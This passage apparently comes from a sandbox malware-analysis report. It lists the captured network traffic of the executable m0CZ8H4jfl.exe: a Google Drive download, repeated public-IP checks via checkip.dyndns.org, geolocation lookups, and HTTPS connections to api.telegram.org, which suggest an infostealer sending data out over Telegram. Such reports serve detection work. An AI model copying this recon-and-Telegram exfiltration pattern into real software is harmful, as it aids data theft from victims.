Jan 10, 2025 19:57:33.609294891 CET	50045	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:33.609954119 CET	80	50047	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:33.610039949 CET	50047	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:33.610366106 CET	50047	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:33.616076946 CET	80	50047	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:37.391494036 CET	80	50047	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:37.438426971 CET	50047	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:38.776715994 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:38.776762009 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:38.776963949 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:38.777323008 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:38.777333021 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:39.433514118 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:39.435915947 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:39.435925961 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:39.435986042 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:39.435992956 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:39.793164015 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:39.793546915 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:39.793591976 CET	50048	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:56:17.492767096 CET	56321	53	192.168.2.9	1.1.1.1
Jan 10, 2025 19:56:17.499944925 CET	53	56321	1.1.1.1	192.168.2.9
Jan 10, 2025 19:56:18.663100958 CET	51292	53	192.168.2.9	1.1.1.1
Jan 10, 2025 19:56:18.670830965 CET	53	51292	1.1.1.1	192.168.2.9
Jan 10, 2025 19:56:22.627509117 CET	62546	53	192.168.2.9	1.1.1.1
Jan 10, 2025 19:56:22.636420965 CET	53	62546	1.1.1.1	192.168.2.9
Jan 10, 2025 19:56:24.339093924 CET	63955	53	192.168.2.9	1.1.1.1
Jan 10, 2025 19:56:24.346666098 CET	53	63955	1.1.1.1	192.168.2.9
Jan 10, 2025 19:56:30.854527950 CET	56157	53	192.168.2.9	1.1.1.1
Jan 10, 2025 19:56:30.861440897 CET	53	56157	1.1.1.1	192.168.2.9
Jan 10, 2025 19:57:06.290363073 CET	55102	53	192.168.2.9	1.1.1.1
Jan 10, 2025 19:57:06.297399044 CET	53	55102	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:56:17.492767096 CET	192.168.2.9	1.1.1.1	0x5f86	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:18.663100958 CET	192.168.2.9	1.1.1.1	0x60e	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:22.627509117 CET	192.168.2.9	1.1.1.1	0xc16e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.339093924 CET	192.168.2.9	1.1.1.1	0xc3b4	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:30.854527950 CET	192.168.2.9	1.1.1.1	0x7d30	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:57:06.290363073 CET	192.168.2.9	1.1.1.1	0xfd4a	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:56:17.499944925 CET	1.1.1.1	192.168.2.9	0x5f86	No error (0)	drive.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:18.670830965 CET	1.1.1.1	192.168.2.9	0x60e	No error (0)	drive.usercontent.google.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:22.636420965 CET	1.1.1.1	192.168.2.9	0xc16e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:56:22.636420965 CET	1.1.1.1	192.168.2.9	0xc16e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:22.636420965 CET	1.1.1.1	192.168.2.9	0xc16e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:22.636420965 CET	1.1.1.1	192.168.2.9	0xc16e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:22.636420965 CET	1.1.1.1	192.168.2.9	0xc16e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:22.636420965 CET	1.1.1.1	192.168.2.9	0xc16e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:24.346666098 CET	1.1.1.1	192.168.2.9	0xc3b4	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:56:30.861440897 CET	1.1.1.1	192.168.2.9	0x7d30	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:57:06.297399044 CET	1.1.1.1	192.168.2.9	0xfd4a	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49975	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:22.651230097 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:23.626229048 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 19:56:23.630548000 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 19:56:23.843231916 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 19:56:30.658612967 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 19:56:30.850446939 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49979	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:32.337862015 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 19:56:32.987696886 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49981	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:33.871454954 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:34.519035101 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49983	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:35.703413010 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:36.331829071 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49985	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:37.695169926 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:38.349946022 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49987	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:39.500016928 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:40.242940903 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49989	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:41.497037888 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:42.144658089 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49991	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:43.151722908 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:43.768310070 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49993	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:44.724353075 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:45.430491924 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:45 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49995	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:46.570641994 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:47.220339060 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49997	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:48.252563953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:48.906281948 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49999	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:50.115611076 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:50.741583109 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	50001	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:52.045753002 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:52.690864086 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	50003	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:53.778923988 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:54.443841934 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	50005	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:55.403677940 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:56.106746912 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	50007	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:57.046950102 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:57.694842100 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	50009	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe
